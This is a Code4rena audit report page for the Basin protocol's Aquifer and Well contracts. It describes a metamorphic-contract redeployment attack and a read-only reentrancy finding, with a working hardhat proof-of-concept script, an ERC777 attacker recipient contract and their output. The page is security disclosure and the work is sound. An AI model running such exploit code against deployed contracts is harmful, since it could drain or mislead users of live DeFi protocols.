Platform: Code4rena
Start Date: 03/07/2023
Pot Size: $40,000 USDC
Total HM: 14
Participants: 74
Period: 7 days
Judge: alcueca
Total Solo HM: 9
Id: 259
League: ETH
Rank: 5/74
Findings: 2
Award: $2,169.89
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: a3yip6
2152.3705 USDC - $2,152.37
The Aquifer contract supports multiple ways to deploy the Well
contracts. More specifically, it supports create
and create2
at the same time. However, such a feature is vulnerable to the Metamorphic Contract Attack. That is to say, attackers are capable to deploy two different Well
implementations in the same address, which is recorded by mapping(address => address) wellImplementations;
.
Although the Aquifer contract is claimed to be permissionless, it should not break the immutability. Thus, we consider it a medium-risk bug.
The real implementation of the Well
contract listed in Aquifer
may be inconsistent with the expectation of users. Even worse, users may suffer from unexpected loss due to the change of contract logic.
// the Aquifer contract function boreWell( address implementation, bytes calldata immutableData, bytes calldata initFunctionCall, bytes32 salt ) external nonReentrant returns (address well) { if (immutableData.length > 0) { if (salt != bytes32(0)) { well = implementation.cloneDeterministic(immutableData, salt); } else { well = implementation.clone(immutableData); } } else { if (salt != bytes32(0)) { well = implementation.cloneDeterministic(salt); } else { well = implementation.clone(); } } ... } // the cloneDeterministic() function function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { mstore(0x21, 0x5af43d3d93803e602a57fd5bf3) mstore(0x14, implementation) mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73) instance := create2(0, 0x0c, 0x35, salt) // Restore the part of the free memory pointer that has been overwritten. mstore(0x21, 0) // If `instance` is zero, revert. if iszero(instance) { // Store the function selector of `DeploymentFailed()`. mstore(0x00, 0x30116425) // Revert with (offset, size). revert(0x1c, 0x04) } } }
As shown in the above code, attackers are capable to deploy new Well
contracts through cloneDeterministic
multiple times with the same input parameter implementation
. And the cloneDeterministic
function utilizes the following bytecode to deploy a new Well
contract: 0x602c3d8160093d39f33d3d3d3d363d3d37363d73 + implementation + 5af43d3d93803e602a57fd5bf3
. That is to say, if the address (i.e., implementation
) remains the same, then the address of the deployed Well
contract also remains the same.
Normally, EVM would revert if anyone re-deploy a contract to the same address. However, if the implementation
contract contains self-destruct logic, then attackers can re-deploy a new contract with different bytecode to the same address through cloneDeterministic
.
Here is how we attack:
Well_Implementation1
to address 1.Aquifer:boreWell
with address 1 as the parameter to get a newly deployed Well1
contract at address 2.Well_Implementation1
contract and re-deploy a new contract to address 1 through Metamorphic Contract, namely Well_Implementation2
.Aquifer:boreWell
with address 1 again. Since the input of create2
remains the same, a new contract is deployed to address 2 with new logic from Well_Implementation2
.Remove the cloneDeterministic
feature, leaving the clone
functionality only.
Other
#0 - c4-pre-sort
2023-07-11T15:59:07Z
141345 marked the issue as low quality report
#1 - c4-pre-sort
2023-07-13T11:24:21Z
141345 marked the issue as primary issue
#2 - c4-pre-sort
2023-07-13T11:24:27Z
141345 marked the issue as high quality report
#3 - c4-sponsor
2023-07-17T17:01:14Z
publiuss marked the issue as sponsor acknowledged
#4 - publiuss
2023-07-17T17:03:51Z
This issue is only an issue if an implementation address contains a way to self-destruct itself. No implementation address should be considered valid if it contains a way to self-destruct. This should be probably documented in all documentation.
#5 - alcueca
2023-08-04T05:49:34Z
Agree that this should be documented. It is pertinent to those auditing Wells.
#6 - c4-judge
2023-08-04T05:49:39Z
alcueca marked the issue as satisfactory
#7 - c4-judge
2023-08-19T18:37:19Z
alcueca marked the issue as selected for report
#8 - publiuss
2023-08-23T00:51:19Z
It was documented here: https://github.com/BeanstalkFarms/Basin/blob/91233a22005986aa7c9f3b0c67393842cd8a8e4d/src/interfaces/IWell.sol#L19
That Well implementations should not be able to self-destruct.
🌟 Selected for report: 0xprinc
Also found by: 0x11singh99, 0xAnah, 0xWaitress, 0xkazim, 2997ms, 33audits, 404Notfound, 8olidity, CRIMSON-RAT-REACH, CyberPunks, DanielWang888, Deekshith99, Eeyore, Eurovickk, Inspecktor, JGcarv, John, Jorgect, Kaysoft, LosPollosHermanos, MohammedRizwan, Qeew, QiuhaoLi, Rolezn, TheSavageTeddy, Topmark, Trust, Udsen, a3yip6, alexzoid, bigtone, codegpt, erebus, fatherOfBlocks, ginlee, glcanvas, hunter_w3b, josephdara, kaveyjoe, kutugu, mahdirostami, max10afternoon, oakcobalt, peanuts, pfapostol, ptsanev, qpzm, radev_sw, ravikiranweb3, sces60107, seth_lawson, te_aut, twcctop, zhaojie, ziyou-
17.5208 USDC - $17.52
https://github.com/code-423n4/2023-07-basin/blob/c1b72d4e372a6246e0efbd57b47fb4cbb5d77062/src/Well.sol#L460-L483 https://github.com/code-423n4/2023-07-basin/blob/c1b72d4e372a6246e0efbd57b47fb4cbb5d77062/src/Well.sol#L379-L388
The Well function is vulnerable to read-only reentrancy. More specifically, the Well:removeLiquidity
function does not strictly follow the Checks-Effects-Interactions pattern. Although previous auditors have reported this bug, the Well
contract has not been properly fixed and remains vulnerable to read-only reentrancy. Through the getShiftOut
function, attackers can read incorrect values and further result in risks.
Note that this situation also exists in other functionality of Well
(e.g., swap, add liquidity).
Although this is not an immediate risk to basin itself, this project is planning to support on-chain oracle features. Under such circumstances, we consider this a high-risk bug.
In the following test, the admin (i.e., attackee) first deploys all necessary contracts. More specifically, the Well
contract is deployed with two ERC777 tokens. Then the attacker performs the attack by the following steps:
Well
pool.getShiftOut
function.getShiftOutf
is incorrect.The following script is the proof-of-concept test based on hardhat.
const { expect } = require("chai"); const { ethers } = require("hardhat"); async function main() { const [admin, attacker] = await ethers.getSigners(); // // deploy necessary contract for mockwell // const METFactory = await ethers.getContractFactory("MockERC777Token"); const mToken0 = await METFactory.connect(attacker).deploy(); const mToken1 = await METFactory.connect(attacker).deploy(); const AquiferFactory = await ethers.getContractFactory("Aquifer"); const Aquifer = await AquiferFactory.connect(admin).deploy(); const CPFactory = await ethers.getContractFactory("ConstantProduct"); const wellFunction = await CPFactory.connect(admin).deploy(); const PumpFactory = await ethers.getContractFactory("MPump"); const pump = await PumpFactory.connect(admin).deploy(); const wellParam = { target: wellFunction.getAddress(), data: "0xff" } let pumps = [{ target: pump.getAddress(), data: "0xff" }] const WellFactory = await ethers.getContractFactory("Well"); const WellImplementation = await WellFactory.connect(admin).deploy(); const MWellDeployerFactory = await ethers.getContractFactory("MWellDeployer"); const MWellDeployer = await MWellDeployerFactory.connect(admin).deploy(); let [immutableData, initData] = await MWellDeployer.mEncodeWellDeploymentData( Aquifer.getAddress(), [mToken0.getAddress(), mToken1.getAddress()], wellParam, pumps); await Aquifer.connect(admin).boreWell( WellImplementation.getAddress(), immutableData, initData, "0x00000000000000000000000000000000000000000000000000000000000000ff",); const event = await Aquifer.queryFilter("BoreWell"); const mWellAddr = event[0].args[0]; const mWell = WellFactory.attach(mWellAddr); // // deploy recipient with fallback // const mFRFactory = await ethers.getContractFactory("MockFalbackRecipient"); const mFT = await mFRFactory.connect(attacker).deploy(); await mFT.connect(attacker).init(mToken0.getAddress(), mToken1.getAddress(), mWell.getAddress()); // // ensure attack has enough balance // expect(await mToken0.balanceOf(attacker.address)).not.to.eq(0); expect(await mToken1.balanceOf(attacker.address)).not.to.eq(0); await mToken0.connect(attacker).approve(mWell.getAddress(), await mToken0.balanceOf(attacker.address)); await mToken1.connect(attacker).approve(mWell.getAddress(), await mToken1.balanceOf(attacker.address)); // // perform attack (add liquidity -> remove liquidity) // console.log("Before adding liquidity, mWell.balanceOf: ", await mWell.balanceOf(attacker.address)); await mWell.connect(attacker).addLiquidity( [await mToken0.balanceOf(attacker.address), await mToken1.balanceOf(attacker.address)], 0, attacker.address, "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); console.log("After adding liquidity, mWell.balanceOf: ", await mWell.balanceOf(attacker.address)); console.log("Before removing liquidity, getShiftOut(token0): ", await mWell.getShiftOut(mToken0.getAddress())); console.log("Before removing liquidity, getShiftOut(token1): ", await mWell.getShiftOut(mToken1.getAddress())); await mWell.connect(attacker).removeLiquidity( 1000000, [0, 0], mFT.getAddress(), "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); console.log("After removing liquidity, getShiftOut(token0): ", await mWell.getShiftOut(mToken0.getAddress())); console.log("After removing liquidity, getShiftOut(token1): ", await mWell.getShiftOut(mToken1.getAddress())); } // We recommend this pattern to be able to use async/await everywhere // and properly handle errors. main().catch((error) => { console.error(error); process.exitCode = 1; });
The following script is the ERC777 recipient contract:
/** * SPDX-License-Identifier: MIT */ pragma solidity ^0.8.17; import "hardhat/console.sol"; import "oz/utils/introspection/IERC1820Registry.sol"; import "src/interfaces/IWell.sol"; import "oz/token/ERC20/IERC20.sol"; contract MockFalbackRecipient { address public targetERC0; address public targetERC1; address public well; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); function init(address _targetERC0, address _targetERC1, address _well) external { targetERC0 = _targetERC0; targetERC1 = _targetERC1; well = _well; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } fallback() external payable { console.log("here!!!"); uint256 result0 = IWell(well).getShiftOut(IERC20(targetERC0)); console.log(result0); uint256 result1 = IWell(well).getShiftOut(IERC20(targetERC1)); console.log(result1); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { console.log("we are performing read-only reentrancy here!!!"); uint256 result0 = IWell(well).getShiftOut(IERC20(targetERC0)); console.log("During removing liquidity, getShiftOut(token0): ", result0); uint256 result1 = IWell(well).getShiftOut(IERC20(targetERC1)); console.log("During removing liquidity, getShiftOut(token1): ", result1); } }
Through the previous scripts, we can obtain the following result in the command shell.
Before adding liquidity, mWell.balanceOf: 0n After adding liquidity, mWell.balanceOf: 20000000000000000000000n Before removing liquidity, getShiftOut(token0): 0n Before removing liquidity, getShiftOut(token1): 0n we are performing read-only reentrancy here!!! During removing liquidity, getShiftOut(token0): 500000 During removing liquidity, getShiftOut(token1): 500000 we are performing read-only reentrancy here!!! During removing liquidity, getShiftOut(token0): 0 During removing liquidity, getShiftOut(token1): 0 After removing liquidity, getShiftOut(token0): 0n After removing liquidity, getShiftOut(token1): 0n
Fix the relevant function by updating reserves before making external calls.
Reentrancy
#0 - c4-pre-sort
2023-07-11T16:41:49Z
141345 marked the issue as duplicate of #202
#1 - c4-judge
2023-08-03T08:35:49Z
alcueca changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-08-03T08:39:47Z
alcueca marked the issue as grade-a